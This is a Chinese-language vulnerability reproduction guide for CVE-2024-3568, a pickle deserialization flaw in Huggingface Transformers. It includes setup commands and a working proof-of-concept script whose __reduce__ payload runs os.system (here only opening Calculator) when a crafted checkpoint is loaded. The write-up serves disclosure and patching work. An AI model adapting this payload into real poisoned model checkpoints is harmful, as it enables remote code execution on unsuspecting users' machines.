Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568

漏洞描述

CVE-2024-3568 是 Huggingface 的 Transformers 库中存在的一个反序列化漏洞，该漏洞源于 TFPreTrainedModel() 类的 load_repo_checkpoint() 函数在反序列化未经信任的数据时，使用了不安全的 pickle.load() 方法。攻击者可以通过构造恶意的序列化负载，诱使受害者在正常的训练过程中加载看似无害的检查点，从而在目标机器上执行任意代码，导致远程代码执行。

此漏洞的利用方式可能包括供应链投毒，即攻击者在模型数据中插入恶意构造的数据，利用反序列化过程触发恶意代码执行。这类攻击的危险性在于，受害者将在不知情的情况下加载被篡改的模型 checkpoint，导致攻击者在其系统上执行任意代码。

参考链接：

• https://github.com/advisories/GHSA-37q5-v5qm-c9v8
• https://github.com/huggingface/transformers/commit/693667b8ac8138b83f8adb6522ddaf42fa07c125
• https://huntr.com/bounties/b3c36992-5264-4d7f-9906-a996efafba8f

披露时间

2024.02.03

漏洞影响

transformers < 4.38.0

环境搭建

基于 python 3.9 创建一个虚拟环境，需要安装指定的版本的 tensorflow、transformers、keras，否则可能报兼容性错误：

# 创建工作目录
mkdir CVE-2024-3568 && cd CVE-2024-3568

# 使用 Python 3.9 创建新的 venv
python3.9 -m venv venv
source venv/bin/activate

# 安装兼容的 TensorFlow 版本
pip install --upgrade pip
pip install tensorflow==2.15 transformers==4.37.2 keras==2.15

登录 Huggingface 获取 AccessToken，huggingface-cli 登录：

> huggingface-cli login
Enter your token (input will not be visible): xxxxxxxxx

目录结构：

CVE-2024-3568
├── awesome_poc
│   └── checkpoint
│       ├── extra_data.pickle
│       └── weights.h5
├── generate_payload.py
├── poc.py
└── venv

通过 generate_payload.py 生成 extra_data.pickle 和 weights.h5：

• extra_data.pickle：序列化的元数据文件，模型加载时会使用 pickle.load() 加载这个文件。
• weights.h5：模型权重文件，与模型架构对应，否则将抛出异常。

import pickle
import os
from transformers import TFAutoModel
class CExecute:
    def __reduce__(self):
        import os
        cmd = 'open /System/Applications/Calculator.app'
        return (os.system,(cmd,))

poc = CExecute()
with open('awesome_poc/checkpoint/extra_data.pickle', 'wb') as fp:
    pickle.dump(poc,fp)

# Generate weights.h5
model = TFAutoModel.from_pretrained('google-bert/bert-base-uncased')
model.save_weights(os.path.join('awesome_poc', 'weights.h5'))

漏洞复现

在 pickle 反序列化的过程中，会调用对象的 __reduce__ 方法，此时将会执行我们写入的命令 open /System/Applications/Calculator.app。

通过 poc.py 模拟模型训练，加载带有恶意命令的 checkpoint：

from transformers import TFAutoModel
from tensorflow.keras.optimizers import Adam
model = TFAutoModel.from_pretrained('bert-base-uncased')
model.compile(optimizer=Adam(learning_rate=5e-5), loss='sparse_categorical_crossentropy', metrics=['accuracy'])

model.load_repo_checkpoint('awesome_poc')

漏洞修复

• 升级 transformers 至最新版本 https://github.com/huggingface/transformers